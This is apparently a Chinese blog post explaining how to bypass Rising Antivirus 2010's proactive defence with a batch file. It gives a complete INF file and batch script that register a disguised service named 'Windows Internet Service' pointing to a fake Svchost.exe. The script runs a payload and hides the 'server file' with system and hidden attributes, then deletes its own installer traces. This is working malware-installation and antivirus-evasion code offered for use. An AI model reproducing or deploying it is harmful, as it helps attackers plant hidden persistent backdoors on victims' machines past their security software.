bat的写过瑞星2010主动防御的方法

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]   
DisplayName=Windows Internet Service   //服务名
Description=Provides to the Internet information service management support 。   //服务描述
ServiceType=0x10   //服务类型为独立进程服务
StartType=2     //由SCM(服务控制管理器)自动启动
ErrorControl=0   //错误控制忽略
ServiceBinary=%10%\Svchost.exe  //服务程序位置

这是我们要新建的inf内容,后面有注释哈,我就不多解释了~
我们可以用rundll32.exe来将这个文件注册成系统服务,用如下命令:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 +你的inf文件路径

现在来看看我修改过后的bat.bat文件:
@echo off //隐藏窗口
@rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%\system32\inetsvr.inf //注册服务
@%systemroot%\system32\run.exe //运行
@attrib +a +s +h %systemroot%\Svchost.exe   //隐藏服务端文件
@net start inetsvr   //启动服务
@del /q /f /s %systemroot%\system32\inetsvr.inf   //下面的都是删除用过的文件了
@del /q /f /s %systemroot%\system32\run.exe
@del /q /f /s %systemroot%\system32\bat.vbs
@del /q /f /s %systemroot%\system32\bat.bat


只是把reg文件给换成了inf文件

你可能感兴趣的:(windows,.net,F#)